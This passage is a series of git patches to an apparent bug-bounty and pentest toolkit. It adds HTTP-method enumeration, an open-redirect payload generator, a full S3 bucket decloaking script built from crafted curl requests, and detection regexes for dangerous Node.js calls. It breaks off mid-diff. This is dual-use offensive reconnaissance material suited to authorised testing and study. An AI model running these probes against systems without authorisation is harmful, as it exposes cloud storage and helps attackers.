17:43:32 +0100 Subject: [PATCH 315/460] [s0mbra] methods command to enumerate available HTTP methods on web server --- s0mbra.sh | 60 ++++++++++++++++++++++++++++++++++++++++++++++++++++++- 1 file changed, 59 insertions(+), 1 deletion(-) diff --git a/s0mbra.sh b/s0mbra.sh index fb71b1d..2b81bd2 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -685,6 +685,60 @@ get() { echo -e "$BLUE\n[s0mbra] Done! $CLR" } +# enumerates available HTTP methods on host +methods() { + METHODS=( + OPTIONS + GET + HEAD + POST + PUT + DELETE + TRACE + PURGE + CONNECT + PROPFIND + PROPPATCH + MKCOL + COPY + MOVE + LOCK + UNLOCK + VERSION-CONTROL + REPORT + CHECKOUT + CHECKIN + UNCHECKOUT + MKWORKSPACE + UPDATE + LABEL + MERGE + BASELINE-CONTROL + MKACTIVITY + ORDERPATCH + ACL + PATCH + SEARCH + ARBITRARY + BIND + LINK + MKCALENDAR + MKREDIRECTREF + PRI + QUERY + REBIND + UNBIND + UNLINK + UPDATEREDIRECTREF) + echo -e "$BLUE[s0mbra] Enumerate available HTTP methods on $1...$CLR" + for HTTP_METHOD in "${METHODS[@]}"; do + echo -e "$YELLOW[s0mbra] Executing $HTTP_METHOD / HTTP/1.1...$CLR" + curl -sI -X $HTTP_METHOD -H "User-Agent: HackerOne/bl4de" -H "X-Hackerone: bl4de" -H "Content-Type: application/json" $1 + echo + done + echo -e "$BLUE\n[s0mbra] Done! $CLR" +} + ### menu cmd=$1 clear @@ -789,6 +843,9 @@ case "$cmd" in get) get "$2" ;; + methods) + methods "$2" + ;; endpoints) endpoints "$2" "$3" ;; @@ -811,8 +868,9 @@ case "$cmd" in echo -e "$CYAN takealook $GRAY[DOMAIN]$CLR\t\t\t\t -> lookaround, but for single domain (no scope file needed)" echo -e "$CYAN recon $GRAY[HOST] [OPTIONS] [PROTO http/https]$CLR\t -> recon; options: nmap,nikto,vhosts,ffuf,feroxbuster,x8,subdomanizer" echo -e "$BLUE_BG:: WEB ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" - echo -e "$CYAN fu $GRAY[URL] [DICT] [*EXT/*ENDSLASH.]$CLR\t\t -> webapp resource enumeration with ffuf (DICT: starter, lowercase, wordlist etc.)" + echo -e "$CYAN fu $GRAY[URL] [DICT] [*EXT/*ENDSLASH.]$CLR\t\t -> dirs and files enumeration with ffuf (DICT: starter, lowercase, wordlist etc.)" echo -e "$CYAN get $GRAY[HOST]$CLR\t\t\t\t\t -> executes HTTP requests to HOST on most popular HTTP ports" + echo -e "$CYAN methods $GRAY[HOST]$CLR\t\t\t\t\t -> enumerates HTTP methods on HOST" echo -e "$CYAN endpoints $GRAY[FILE] [PATH]$CLR\t$YELLOW(RESTapi)$CLR\t -> extracts API endpoints from FILE, which conatins PATH (eg. /api/ -> /api/user/delete)" echo -e "$CYAN apifuzz $GRAY[BASE_URL] [ENDPOINTS]$CLR\t$YELLOW(RESTapi)$CLR\t -> fuzzing API endpoints with httpie" echo -e "$CYAN kiterunner $GRAY[HOST] (*apis)$CLR\t$YELLOW(RESTapi)$CLR\t -> runs kiterunner against apis file on [HOST] (create apis file first ;) )" From e66bfa22672e0ce1d3b98a2c4ce3ff34c665cfbd Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sat, 11 Jun 2022 22:04:05 +0100 Subject: [PATCH 316/460] [redirgen] Refactoring --- redir_gen/redirgen.py | 12 +++++++++--- 1 file changed, 9 insertions(+), 3 deletions(-) diff --git a/redir_gen/redirgen.py b/redir_gen/redirgen.py index 80c458f..fe69c5a 100755 --- a/redir_gen/redirgen.py +++ b/redir_gen/redirgen.py @@ -3,7 +3,6 @@ import re import argparse -import string def generate(payload, target, dest, param=None) -> str: @@ -18,6 +17,14 @@ def generate(payload, target, dest, param=None) -> str: return payload +def save_output(output: str) -> None: + ''' + Saves output to file defined as out param + ''' + with open(output, "w") as handle: + [handle.write(f"{x.rstrip()}\n") for x in payloads] + + parser = argparse.ArgumentParser() parser.add_argument("--target", "-t", action="store", help="Enter the target address", required=True) @@ -44,5 +51,4 @@ def generate(payload, target, dest, param=None) -> str: payloads.append(payload) if args.output: - with open(args.output, "w")as handle: - [handle.write(f"{x.rstrip()}\n") for x in payloads] + save_output(args.output) From 106fb41ac931fadf4f45f5b92bee6c35270d98e1 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 12 Jun 2022 09:35:26 +0100 Subject: [PATCH 317/460] [redirgen] Refactoring --- redir_gen/redirgen.py | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/redir_gen/redirgen.py b/redir_gen/redirgen.py index fe69c5a..7f4d643 100755 --- a/redir_gen/redirgen.py +++ b/redir_gen/redirgen.py @@ -12,8 +12,8 @@ def generate(payload, target, dest, param=None) -> str: payload = payload.rstrip() payload = re.sub("TARGET", target, payload) payload = re.sub("DEST", dest, payload) - # if param: - # payload = re.sub("PARAM", param, payload) + if param: + payload = re.sub("PARAM", param, payload) return payload @@ -32,8 +32,8 @@ def save_output(output: str) -> None: required=True) parser.add_argument("--output", "-o", action="store", help="Enter output file name") -# parser.add_argument("--param", "-p", action="store", -# help="Vulnerable parameter") +parser.add_argument("--param", "-p", action="store", + help="Vulnerable parameter") args = parser.parse_args() payloads = [] @@ -46,7 +46,7 @@ def save_output(output: str) -> None: templates = handle.readlines() for payload in templates: - payload = generate(payload, target, dest) + payload = generate(payload, target, dest, args.param) print(payload) payloads.append(payload) From ab4d46117ec562109f27396f64fe4b295a50a491 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Mon, 13 Jun 2022 21:40:56 +0100 Subject: [PATCH 318/460] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 4eec1a7..ba52965 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ security-tools ============== -Collection of simple security tools created in Python. +Small security related tools created in Python and Bash for CTF players, bug bounty hunters, pentesters and developers. From bf6a234d2e10400dc422197fc499e31981004c2e Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sat, 25 Jun 2022 13:42:39 +0100 Subject: [PATCH 319/460] [bucket-disclose.sh] Forked from Frans Rosen Gist --- bucket-disclose.sh | 217 +++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 217 insertions(+) create mode 100755 bucket-disclose.sh diff --git a/bucket-disclose.sh b/bucket-disclose.sh new file mode 100755 index 0000000..b9c0e09 --- /dev/null +++ b/bucket-disclose.sh @@ -0,0 +1,217 @@ +#!/bin/bash + +# Using error messages to decloak an S3 bucket. Uses soap, unicode, post, multipart, +# streaming and index listing as ways of figure it out. You do need a valid aws-key +# (never the secret) to properly get the error messages + +#### FORKED FROM https://gist.github.com/bl4de/35d5831e6eb4a29fe40626efbea7818e +#### Written by Frans Rosén (twitter.com/fransrosen) + + +_debug="$2" #turn on debug +_timeout="20" +#you need a valid key, since the errors happens after it validates that the key exist. we do not need the secret key, only access key +_aws_key=$AWS_KEY + +echo $_aws_key + +H_ACCEPT="accept-language: en-US,en;q=0.9,sv;q=0.8,zh-TW;q=0.7,zh;q=0.6,fi;q=0.5,it;q=0.4,de;q=0.3" +H_AGENT="user-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.146 Safari/537.36" + +_log_file="./bucket-disclose.log" +_sed_bin=$(which gsed) +if [ "${_sed_bin}" == "" ]; then + _sed_bin=$(which sed) +fi + +_timeout_bin=$(which gtimeout) +if [ "${_timeout_bin}" == "" ]; then + _timeout_bin=$(which timeout) +fi + +r=$(echo "$1" | ${_sed_bin} -E 's/^[a-z]+:\/\///') #raw but without protocol +d=$(echo "$r" | cut -d "/" -f 1) #domain +pr=$(echo "$1" | ${_sed_bin} -E 's/(^[a-z]+:\/\/)?.*/\1/') #protocol, could be empty, use http if so +if [ "$pr" == "" ]; then pr="http://"; fi +pd="${pr}${d}" #protocol and domain always and only +u=$(echo "$1") #full url +p="${pr}$(echo "${r}" | rev | cut -d "/" -f 2- | rev)" # path without trailing slash (will be weird when bucket is in dir, but will be found later on) + +result() { + echo "$1" >> $_log_file + [ "$1" != "" ] && echo "$1" && exit 0; +} + +debug() { + echo "* $1" >> $_log_file + [ "$_debug" != "" ] && echo "* $1" +} + +is_bucket_already() { + _no_protocol=$(echo "$1" | ${_sed_bin} -E 's/^[a-z]+:\/\///') # function is reused after, make sure we clean up proto + _comp=$(echo "${_no_protocol}" | grep -vE "^[^:]*s3[^:]+amazonaws.*") #check if domain contains s3.*amazonaws.com + if [ "${_comp}" == "" ]; then + result $(echo "${_no_protocol}" | grep -E '^s3.*amazon[^/]+\/.*' | cut -d "/" -f 2) + result $(echo "${_no_protocol}" | grep -E '^[^:]+.s3.*amazon.*' | ${_sed_bin} -E 's/^([^\:]+).s3[^:]+amazon.*$/\1/'); + fi +} + +is_bucket() { + debug "checking if bucket: ${1}..." + _response=$(${_timeout_bin} ${_timeout} curl -H "${H_ACCEPT}" -H "${H_AGENT}" "${1}" -sL -D- --insecure --max-time 5 | \ + grep -iE "^x-amz-error-code|^server: amazons3|AccessDenied|Code: AccessDenied|NoSuchKey") +} + +is_bucket_soap() { + debug "checking if bucket using soap... ${1}/soap" + _response=$(${_timeout_bin} ${_timeout} curl -H "${H_ACCEPT}" -H "${H_AGENT}" "${1}/soap" -X POST -sL -D- --insecure --max-time 5 | \ + grep ">Missing SOAPAction header<") +} + +is_bucket_invalid_char() { + debug "checking if bucket using invalid char: ${1}/%83..." + _response=$(${_timeout_bin} ${_timeout} curl -H "${H_ACCEPT}" -H "${H_AGENT}" "${1}/%83" -sL -D- --insecure --max-time 5 | \ + grep -iE "InvalidURI|Code: InvalidURI|NoSuchKey") +} + +is_bucket_invalid_method() { + debug "checking if bucket using invalid method... ${1}/xyz" + _response=$(${_timeout_bin} ${_timeout} curl -H "${H_ACCEPT}" -H "${H_AGENT}" "${1}/xyz" -X POSTX -sL -D- --insecure --max-time 5 | \ + grep "BadRequest") + if [ "${_response}" != "" ]; then + _response="${1}/xyz" + else + _response="" + fi +} + +is_bucket_listable() { + debug "checking if bucket is listable... ${1}/?abc" + _response=$(${_timeout_bin} ${_timeout} curl -H "${H_ACCEPT}" -H "${H_AGENT}" -sL "${1}/?abc" --insecure --max-time 5 | \ + grep "[^<]+" | cut -d ">" -f 2 | cut -d "<" -f 1) +} + +is_bucket_domain() { + debug "checking if domain exists as bucket: http://${1}.s3.amazonaws.com..." + _response=$(${_timeout_bin} ${_timeout} curl -H "${H_ACCEPT}" -H "${H_AGENT}" "http://${1}.s3.amazonaws.com" -sL --insecure --max-time 5 | grep -E "ListBucketResult|AccessDenied|PermanentRedirect") +} + +is_bucket_redirectable() { + debug "checking if url redirects to bucket... ${1}/xyzadad" + _response=$(${_timeout_bin} ${_timeout} curl -H "${H_ACCEPT}" -H "${H_AGENT}" -sL "$1/xyzadad" -D- | grep -i "^location:" | grep amazonaws | cut -d " " -f 2) + _response=$(is_bucket_already "${_response}") #remove s3-domain stuff +} + +is_redirecting() { + debug "check if URL redirects to other domain... ${1}" + _response=$(curl -Ls -o /dev/null -H "${H_ACCEPT}" -H "${H_AGENT}" -w %{url_effective} "${1}") + _od=$(echo "${1}" | ${_sed_bin} -E 's/^[a-z]+:\/\///' | cut -d "/" -f 1) + _rd=$(echo "${_response}" | ${_sed_bin} -E 's/^[a-z]+:\/\///' | cut -d "/" -f 1) + if [ "${_od}" == "${_rd}" ]; then + _response="" + fi +} + +bucket_unicode_sign_error() { + debug "checking unicode-error... ${1}/åäö" + _response=$(${_timeout_bin} ${_timeout} curl -H "${H_ACCEPT}" -H "${H_AGENT}" -sL "${1}/åäö" --insecure --max-time 5 | grep "host:" | grep "amazonaws.com" | cut -d ":" -f 2) + _response=$(is_bucket_already "${_response}") #remove s3-domain stuff +} + +bucket_post_sign_error() { + debug "checking post-error... ${1}/okok?456" + _response=$(${_timeout_bin} ${_timeout} curl -H "${H_ACCEPT}" -H "${H_AGENT}" "${1}/okok?456" -H "Authorization: AWS ${_aws_key}:x" -H \ + "Date: $(date -u +%a,\ %d\ %b\ %Y\ %H:%M:%S\ GMT)" -sL | \ + grep "" | \ + cut -d "<" -f 1 | cut -d "/" -f 2) +} + +bucket_get_sign_error() { + debug "checking get-error... ${1}/okok?AWSAccessKey..." + _response=$(${_timeout_bin} ${_timeout} curl -X GET -H "${H_ACCEPT}" -H "${H_AGENT}" "${1}/okok?AWSAccessKeyId=${_aws_key}&Expires=$(expr $(date +%s) + 1000)&Signature=x" -H \ + "Date: $(date -u +%a,\ %d\ %b\ %Y\ %H:%M:%S\ GMT)" -sL | \ + grep "" | \ + cut -d "<" -f 1 | cut -d "/" -f 2) +} + +bucket_put_sign_error() { + debug "checking put-error... ${1}/okok?AWSAccessKey..." + _response=$(${_timeout_bin} ${_timeout} curl -X PUT -H "${H_ACCEPT}" -H "${H_AGENT}" "${1}/okok?AWSAccessKeyId=${_aws_key}&Expires=$(expr $(date +%s) + 1000)&Signature=x" -H \ + "Date: $(date -u +%a,\ %d\ %b\ %Y\ %H:%M:%S\ GMT)" -sL | \ + grep "" | \ + cut -d "<" -f 1 | cut -d "/" -f 2) +} + +bucket_multipart_sign_error() { + debug "checking multipart-error... ${1}/?789" + _response=$(${_timeout_bin} ${_timeout} curl -H "${H_ACCEPT}" -H "${H_AGENT}" --form "d=x" -X POST "${1}/?789" \ + -H "Authorization: AWS ${_aws_key}:x" -H \ + "Date: $(date -u +%a,\ %d\ %b\ %Y\ %H:%M:%S\ GMT)" -sL | \ + grep "" | cut -d "<" -f 1 | cut -d "/" -f 2) +} + +bucket_streaming_sign_error() { + debug "checking streaming sign-error... ${1}/ioioio?987" + _response=$(${_timeout_bin} ${_timeout} curl -H "${H_ACCEPT}" -H "${H_AGENT}" "${1}/ioio?987" -sL -H \ + "Authorization: AWS4-HMAC-SHA256 Credential=${_aws_key}/20180101/ap-south-1/s3/aws4_request,SignedHeaders=date;host;x-amz-acl;x-amz-content-sha256;x-amz-date,Signature=x" -H \ + "Date: $(date -u +%a,\ %d\ %b\ %Y\ %H:%M:%S\ GMT)" -H \ + "x-amz-content-sha256: STREAMING-AWS4-HMAC-SHA256-PAYLOAD" | grep "" -A 1 | tail -n 1 | cut -d "/" -f 2) +} + +change_bucket_location() { + debug "changing location of bucket... ${1}" + p="$1" + _response="1" +} + +> $_log_file +debug "start checking... ${u}" +is_bucket_already "${r}" +is_bucket "${pd}" +[ "${_response}" == "" ] && is_bucket_soap "${pd}" +_is_root_bucket="${_response}" +_bucket_location="" + +if [ "${_is_root_bucket}" != "" ]; then + _bucket_location="${pd}" +else + is_bucket_soap "${p}" + [ "${_response}" == "" ] && is_bucket "${p}" + [ "${_response}" == "" ] && is_bucket "${p}/xyzabc" && change_bucket_location "${p}/xyzabc" + [ "${_response}" == "" ] && is_bucket_invalid_method "${p}" + [ "${_response}" == "" ] && is_bucket_invalid_char "${p}" + + if [ "${_response}" != "" ]; then + _bucket_location="${p}" + fi +fi + +if [ "${_bucket_location}" != "" ]; then + debug "bucket-location: ${_bucket_location}" + bucket_unicode_sign_error "${_bucket_location}" + result "${_response}" + bucket_streaming_sign_error "${_bucket_location}" + result "${_response}" + bucket_get_sign_error "${_bucket_location}" + result "${_response}" + bucket_post_sign_error "${_bucket_location}" + result "${_response}" + bucket_put_sign_error "${_bucket_location}" + result "${_response}" + bucket_multipart_sign_error "${_bucket_location}" #this one can bug out with fastly, since host is being different when POST + result "${_response}" + is_bucket_listable "${_bucket_location}" + result "${_response}" + is_bucket_redirectable "${_bucket_location}" + result "${_response}" +fi + +#if [ "${_is_root_bucket}" ]; then +is_bucket_domain "${d}" +[ "${_response}" != "" ] && result "${d}" +#fi + +is_redirecting "${pr}${r}" +[ "${_response}" != "" ] && bash $0 "${_response}" "$2" || debug "location is not a bucket: ${pr}${r} (${_bucket_location})" && exit 1 + +exit 0 From dbeaef95a4f8f059c6a3a54403c0a617e89620f3 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sat, 25 Jun 2022 13:53:34 +0100 Subject: [PATCH 320/460] [s0mbra] added bucket-disclose to AWS toolset --- bucket-disclose.sh | 2 -- s0mbra.sh | 18 +++++++++++++++--- 2 files changed, 15 insertions(+), 5 deletions(-) diff --git a/bucket-disclose.sh b/bucket-disclose.sh index b9c0e09..b0d834d 100755 --- a/bucket-disclose.sh +++ b/bucket-disclose.sh @@ -13,8 +13,6 @@ _timeout="20" #you need a valid key, since the errors happens after it validates that the key exist. we do not need the secret key, only access key _aws_key=$AWS_KEY -echo $_aws_key - H_ACCEPT="accept-language: en-US,en;q=0.9,sv;q=0.8,zh-TW;q=0.7,zh;q=0.6,fi;q=0.5,it;q=0.4,de;q=0.3" H_AGENT="user-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.146 Safari/537.36" diff --git a/s0mbra.sh b/s0mbra.sh index 2b81bd2..ac988c4 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -537,6 +537,14 @@ s3ls() { echo -e "$BLUE\n[s0mbra] Done! $CLR" } +# Lists content of the folder on S3 bucket +discloS3() { + clear + echo -e "$BLUE[s0mbra] Execute bucket-disclose.sh against $1...$CLR" + bucket-disclose $1 DEBUG + echo -e "$BLUE\n[s0mbra] Done! $CLR" +} + # coverts .dex file to .jar archive dex_to_jar() { clear @@ -858,6 +866,9 @@ case "$cmd" in s3ls) s3ls "$2" "$3" ;; + discloS3) + discloS3 "$2" + ;; generate_shells) generate_shells "$2" "$3" ;; @@ -876,9 +887,10 @@ case "$cmd" in echo -e "$CYAN kiterunner $GRAY[HOST] (*apis)$CLR\t$YELLOW(RESTapi)$CLR\t -> runs kiterunner against apis file on [HOST] (create apis file first ;) )" echo -e "$CYAN gql $GRAY[TARGET_URL]$CLR\t\t$YELLOW(GraphQL)$CLR\t -> checking GraphQL endpoint for known vulnerabilities with graphql-cop" echo -e "$BLUE_BG:: CLOUD ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" - echo -e "$CYAN s3 $GRAY[bucket]$CLR\t\t\t$YELLOW(AWS)$CLR\t\t -> checks privileges on AWS S3 bucket (ls, cp, mv etc.)" - echo -e "$CYAN s3get $GRAY[bucket] [key]$CLR\t\t$YELLOW(AWS)$CLR\t\t -> get object identified by [key] from AWS S3 [bucket]" - echo -e "$CYAN s3ls $GRAY[bucket] [folder]$CLR\t\t$YELLOW(AWS)$CLR\t\t -> list content of [folder] on S3 [bucket] - requires READ permissions (check with s3)" + echo -e "$CYAN discloS3 $GRAY[URL]$CLR\t\t\t$YELLOW(AWS)$CLR\t\t -> runs bucket-disclose.sh against [URL]" + echo -e "$CYAN s3 $GRAY[BUCKET]$CLR\t\t\t$YELLOW(AWS)$CLR\t\t -> checks privileges on AWS S3 bucket (ls, cp, mv etc.)" + echo -e "$CYAN s3get $GRAY[BUCKET] [key]$CLR\t\t$YELLOW(AWS)$CLR\t\t -> get object identified by [key] from AWS S3 [BUCKET]" + echo -e "$CYAN s3ls $GRAY[BUCKET] [folder]$CLR\t\t$YELLOW(AWS)$CLR\t\t -> list content of [folder] on S3 [BUCKET] - requires READ permissions (check with s3)" echo -e "$BLUE_BG:: PENTEST TOOLS ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN quick_nmap_scan $GRAY[IP] [*PORTS]$CLR\t\t\t -> nmap --top-ports [PORTS] to quickly enumerate open N-ports" echo -e "$CYAN full_nmap_scan $GRAY[IP] [*PORTS]$CLR\t\t\t -> nmap --top-ports [PORTS]/-p- to enumerate; -sV -sC -A on found ports" From 755c1df8066f307ac072826b54c80e543c065734 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 26 Jun 2022 18:16:37 +0100 Subject: [PATCH 321/460] [s0mbra] added graudit to SAST tools --- s0mbra.sh | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/s0mbra.sh b/s0mbra.sh index ac988c4..51b085f 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -432,6 +432,9 @@ pysast() { echo -e "\n$BLUE[s0mbra] Running vulture against $DIR_NAME $CLR\n" python3 -m vulture $DIR_NAME + echo -e "\n$BLUE[s0mbra] Running graudit against $DIR_NAME $CLR\n" + graudit $1 + echo -e "\n$BLUE[s0mbra] Done.$CLR" } @@ -588,6 +591,7 @@ php_sast() { clear echo -e "$BLUE[s0mbra] Running phpcs against $1...$CYAN" phpcs --colors -vs $1 + graudit $1 echo -e "$BLUE\n[s0mbra] Done! $CLR" } From 1b39b05b3a3f89f1489166bb0de514fd52f7c49a Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Fri, 8 Jul 2022 22:31:51 +0100 Subject: [PATCH 322/460] [s0mbra] hide some options from menu; rename takealook to peek --- s0mbra.sh | 18 +++++++++--------- 1 file changed, 9 insertions(+), 9 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 51b085f..59b2baa 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -238,7 +238,7 @@ lookaround() { } # quick lookaround, but for single domain - no need to create scope file -takealook() { +peek() { TMPDIR=$(pwd) START_TIME=$(date) DOMAIN=$1 @@ -762,8 +762,8 @@ case "$cmd" in lookaround) lookaround "$2" ;; - takealook) - takealook "$2" + peek) + peek "$2" ;; recon) recon "$2" "$3" "$4" @@ -880,7 +880,7 @@ case "$cmd" in clear echo -e "$BLUE_BG:: RECON ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN lookaround $GRAY[SCOPE_FILE]$CLR\t\t\t -> just look around... (subfinder + httpx on discovered hosts from scope file)" - echo -e "$CYAN takealook $GRAY[DOMAIN]$CLR\t\t\t\t -> lookaround, but for single domain (no scope file needed)" + echo -e "$CYAN peek $GRAY[DOMAIN]$CLR\t\t\t\t\t -> lookaround, but for single domain (no scope file needed)" echo -e "$CYAN recon $GRAY[HOST] [OPTIONS] [PROTO http/https]$CLR\t -> recon; options: nmap,nikto,vhosts,ffuf,feroxbuster,x8,subdomanizer" echo -e "$BLUE_BG:: WEB ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN fu $GRAY[URL] [DICT] [*EXT/*ENDSLASH.]$CLR\t\t -> dirs and files enumeration with ffuf (DICT: starter, lowercase, wordlist etc.)" @@ -900,11 +900,11 @@ case "$cmd" in echo -e "$CYAN full_nmap_scan $GRAY[IP] [*PORTS]$CLR\t\t\t -> nmap --top-ports [PORTS]/-p- to enumerate; -sV -sC -A on found ports" echo -e "$CYAN http $GRAY[PORT]$CLR\t\t\t\t\t -> runs HTTP server on [PORT] TCP port" echo -e "$CYAN generate_shells $GRAY[IP] [PORT] $CLR\t\t\t -> generates ready-to-use reverse shells in various languages for given IP:PORT" - echo -e "$CYAN nfs_enum $GRAY[IP]$CLR\t\t\t\t\t -> enumerates nfs shares on [IP] (2049 port has to be open/listed in rpcinfo)" - echo -e "$CYAN smb_enum $GRAY[IP] [USER] [PASSWORD]$CLR\t\t -> enumerates SMB shares on [IP] as [USER] (eg. null) (445 port has to be open)" - echo -e "$CYAN smb_get_file $GRAY[IP] [user] [password] [PATH] $CLR\t -> downloads file from SMB share [PATH] on [IP]" - echo -e "$CYAN smb_mount $GRAY[IP] [SHARE] [USER]$CLR\t\t\t -> mounts SMB share at ./mnt/shares" - echo -e "$CYAN smb_umount $CLR\t\t\t\t\t -> unmounts SMB share from ./mnt/shares and deletes it" + # echo -e "$CYAN nfs_enum $GRAY[IP]$CLR\t\t\t\t\t -> enumerates nfs shares on [IP] (2049 port has to be open/listed in rpcinfo)" + # echo -e "$CYAN smb_enum $GRAY[IP] [USER] [PASSWORD]$CLR\t\t -> enumerates SMB shares on [IP] as [USER] (eg. null) (445 port has to be open)" + # echo -e "$CYAN smb_get_file $GRAY[IP] [user] [password] [PATH] $CLR\t -> downloads file from SMB share [PATH] on [IP]" + # echo -e "$CYAN smb_mount $GRAY[IP] [SHARE] [USER]$CLR\t\t\t -> mounts SMB share at ./mnt/shares" + # echo -e "$CYAN smb_umount $CLR\t\t\t\t\t -> unmounts SMB share from ./mnt/shares and deletes it" echo -e "$BLUE_BG:: PASSWORDS CRACKIN' ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN rockyou_john $GRAY[TYPE] [HASHES]$CLR\t\t\t -> runs john+rockyou against [HASHES] file with hashes of type [TYPE]" echo -e "$CYAN ssh_to_john $GRAY[ID_RSA]$CLR\t\t\t\t -> id_rsa to JTR SSH hash file for SSH key password cracking" From 31b4bed64b03d17dd66d067a21e6d05231c404a7 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sat, 9 Jul 2022 10:10:16 +0100 Subject: [PATCH 323/460] [s0mbra] remove unused code --- s0mbra.sh | 9 --------- 1 file changed, 9 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 59b2baa..2c82624 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -1,9 +1,5 @@ #!/bin/bash # shellcheck disable=SC1087,SC2181,SC2162,SC2013 -### S0mbra ### -# BugBounty/CTF/PenTest/Hacking suite -# collection of various wrappers, multi-commands, tips&tricks, shortcuts etc. -# CTX: bl4de@wearehackerone.com HACKING_HOME="/Users/bl4de/hacking" @@ -22,11 +18,6 @@ CYAN='\033[36m' CLR='\033[0m' NEWLINE='\n' -# config commands -set_ip() { - export IP="$1" -} - # runs $2 port(s) against IP; then -sV -sC -A against every open port found full_nmap_scan() { if [[ -z "$2" ]]; then From 861419c021931dfa38728736607d0e867948adcb Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 10 Jul 2022 10:08:21 +0100 Subject: [PATCH 324/460] nodestructor] Node patterns update --- nodestructor/nodestructor.py | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/nodestructor/nodestructor.py b/nodestructor/nodestructor.py index be199fb..e935ad0 100755 --- a/nodestructor/nodestructor.py +++ b/nodestructor/nodestructor.py @@ -55,12 +55,18 @@ ".*eval\(", ".*exec\(", ".*execSync\(", + ".*execFile\(", + ".*execFileSync\(", ".*res.write\(", ".*child_process", ".*child_process.exec\(", ".*\sFunction\(", ".*spawn\(", ".*fork\(", + "\.shell", + "\.env", + "\.exitCode", + "\.pid", ".*newBuffer\(", ".*\.constructor\(", ".*mysql\.createConnection\(", From 328e0483b919c5fe6952daebce2dd9ed60e60de4 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 13 Jul 2022 20:40:22 +0100 Subject: [PATCH 325/460] [s0mbra, hasher] hashing improvements --- hasher.py | 23 ++++++++++++++++++++--- s0mbra.sh | 4 ++-- 2 files changed, 22 insertions(+), 5 deletions(-) diff --git a/hasher.py b/hasher.py index b849f30..2446a72 100755 --- a/hasher.py +++ b/hasher.py @@ -3,7 +3,6 @@ import sys import hashlib -import urllib import base64 description = """ @@ -13,11 +12,17 @@ def usage(): + ''' + prints usage info + ''' print(description) exit(0) def hex_encode(s): + ''' + HEX-encode string + ''' enc = '' for c in s: enc = enc + (str(hex(c)).replace('0x', '')) @@ -25,8 +30,20 @@ def hex_encode(s): def main(s): - print("SHA1\t\t{}".format(hashlib.sha1(s.encode('utf-8')).hexdigest())) - print("MD5 \t\t{}".format(hashlib.md5(s.encode('utf-8')).hexdigest())) + ''' + prints all hashes for provided string + ''' + algorithms_available = ['blake2s', 'blake2b', 'sha224', + 'sha256', 'sha512', 'sha384', 'sha1', 'md5'] + print("\nHASH:\n") + for h in algorithms_available: + if hasattr(hashlib, h): + try: + h_method = getattr(hashlib, h) + print(f"{h}\t\t{h_method(s.encode('utf-8')).hexdigest()}") + except TypeError as e: + pass + print("\nENCODE:\n") print("Base64 \t\t{}".format(base64.b64encode(s.encode('utf-8')))) print("HEX encoded \t{}".format(hex_encode(s.encode('utf-8')))) diff --git a/s0mbra.sh b/s0mbra.sh index 2c82624..9f1735b 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -837,7 +837,7 @@ case "$cmd" in b64) b64 "$2" ;; - hasher) + hashme) hshr "$2" ;; fu) @@ -915,7 +915,7 @@ case "$cmd" in echo -e "$CYAN abe $GRAY[.ab FILE]$CLR\t\t\t$YELLOW(Java)$CLR\t\t -> extracts Android .ab backup file into .tar (with android-backup-extractor)" echo -e "$BLUE_BG:: UTILS ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN b64 $GRAY[STRING]$CLR\t\t\t\t\t -> decodes Base64 string" - echo -e "$CYAN hasher $GRAY[STRING]$CLR\t\t\t\t -> hash/encode string (md5, sha1, base64, hex encoded)" + echo -e "$CYAN hashme $GRAY[STRING]$CLR\t\t\t\t -> hash/encode string (md5, sha1, base64, hex encoded)" echo -e "$CLR" ;; From e2293d36a949bbdf5f5f03cf22e381e811c8ca08 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Tue, 19 Jul 2022 11:59:49 +0100 Subject: [PATCH 326/460] [nodestructor] small bugfixing --- nodestructor/nodestructor.py | 7 ++-- nodestructor/static_analysis.py | 59 --------------------------------- nodestructor/test.py | 7 ---- nodestructor/testfiles/1.js | 5 +++ 4 files changed, 9 insertions(+), 69 deletions(-) delete mode 100755 nodestructor/static_analysis.py delete mode 100755 nodestructor/test.py create mode 100644 nodestructor/testfiles/1.js diff --git a/nodestructor/nodestructor.py b/nodestructor/nodestructor.py index e935ad0..1a4d9cd 100755 --- a/nodestructor/nodestructor.py +++ b/nodestructor/nodestructor.py @@ -72,7 +72,8 @@ 